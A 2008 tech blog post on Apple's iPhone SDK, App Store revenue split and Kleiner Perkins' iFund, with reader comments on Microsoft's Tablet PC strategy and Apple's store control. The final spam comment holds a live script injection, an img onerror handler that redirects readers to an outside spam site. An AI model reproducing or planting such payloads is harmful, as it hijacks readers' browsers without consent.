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Thursday, March 06, 2008

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iPhone SDK Available Now, $100m in VC Funding for iPhone Software Development

- Rob Bushway

I've been following Engadget's reporting of Apple's iPhone press conference. Developers can download the SDK now, Exchange and SDK update support for the iPhone coming in June. iPod Touch users will have to pay for the update. Didn't they just pay for an update a couple of months ago? What's up with that?

All apps to be distributed through Apple's App Store, accessible directly through the iPhone / iPod Touch. Buy / Download / Update through the iPhone via cell or WiFi. Developers set the price and keep 70%, Apple keeps / takes 30%. Free apps won't cost developers anything to distribute through the App Store.

With this news, and VC firm Kleiner Perkins Caufield & Byers starting iFund with $100m in funding for companies developing iPhone apps, Apple just grabbed the UMPC / MID market and took it away.

Where was the Tablet PC $100m funding to jumpstart development? I don't recall hearing of VC companies seeing the long view in Tablet PC and starting a $100m VC fund campaign. I do remember Microsoft's Think In Ink $100k contest, though. Developers will be flocking to develop apps for the iPhone and iPod Touch, and not just because of the VC funding opportunities. The market opportunity is huge and there is a clear driver for the platform.

UPDATE: As of this writing, Apple's developer.apple.com site is down, and has been down for hours, due to the requests for the SDK.

Apple | Mobile

3/6/2008 1:13 PM MST

iPhone SDK Available Now, $100m in VC Funding for iPhone Software Development Comments [12] | Digg This | del.icio.us | Citations

Thursday, March 06, 2008 1:51:39 PM (Mountain Standard Time, UTC-07:00)

I've never let up on Microsoft for failing to support the Tablet PC and UMPC form factor with proper software and marketing, for not bankrolling developers like Josh Einstein and Loren Heiny. If Microsoft had put up even half that amount in VC five years ago, I bet our favorite form factors wouldn't still be considered "niche" or "failed" today.

Sumocat

Thursday, March 06, 2008 2:15:32 PM (Mountain Standard Time, UTC-07:00)

Wow. Just wow.
I want to play Spore and Super Monkey Ball.

Rodfather

Thursday, March 06, 2008 3:24:04 PM (Mountain Standard Time, UTC-07:00)

Rob - you're so right. With $100M in incentive, I think we'll be seeing a LOT of iPhone apps in the very near future. The form factor has always been right. I love the feel of the iPhone. With Exchange and decent app support, I may have to cave in.

My only last hold out is for UMTS in the iPhone 2. If they do that, I'm sold.

Sierra Modro

Thursday, March 06, 2008 7:11:45 PM (Mountain Standard Time, UTC-07:00)

If Microsoft had adopted the mobility vision of Tablet PCs instead of the "I want to write on my computer" vision, they might have done things like encourage small form factors and inclusion of telephone capability. They came around to the small form factor part. It is not too late to come around to the telephone part.

Then Apple would need to fight back with bigger iPhones for better Web browsing.

It is not just the money. It is also the vision.

Mickey Segal

Thursday, March 06, 2008 8:13:04 PM (Mountain Standard Time, UTC-07:00)

do not forget, apple controls the store so apple have final say about what kind of apps will be available.

turn_self_off

Thursday, March 06, 2008 9:21:45 PM (Mountain Standard Time, UTC-07:00)

turn_self_off:

I'll bet dollars to donuts that there aren't any real meaningful limitations to the types of apps available.

What do you think they'd limit?

Mike

Friday, March 07, 2008 1:08:13 AM (Mountain Standard Time, UTC-07:00)

hard to tell at current, but just them having the option "worries" me.

thing is that we do not know what people can come up with, and how apple will react to it. it could be that someone comes up with something that undermines apples income somehow and they will nix it.

innovators dilemma anyone?

turn_self_off

Friday, March 07, 2008 7:49:09 AM (Mountain Standard Time, UTC-07:00)

btw, seems im not the only one wary about apples level of control:
http://www.macworld.com/article/132414/2008/03/iphone_devs.html

turn_self_off

Friday, March 07, 2008 10:33:09 AM (Mountain Standard Time, UTC-07:00)

I can think of one application type that Apple would immediately nix - anything that strips or works around DRM solutions on music. Can't see the owner of iTunes supporting any application that works around DRM solutions, no matter how popular the app may be nor how "legitimate" the use case.

Sierra Modro

Friday, March 07, 2008 11:02:04 AM (Mountain Standard Time, UTC-07:00)

Take a look at the new BBC iplayer that will work on both the touch and iphone (only in Britain) but is DRM free.

Warner Crocker

Friday, April 11, 2008 8:46:51 AM (Mountain Daylight Time, UTC-06:00)

Good idea!
P.S. A U realy girl?

Memmorium

Saturday, April 12, 2008 6:12:09 AM (Mountain Daylight Time, UTC-06:00)

my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">

mypicst

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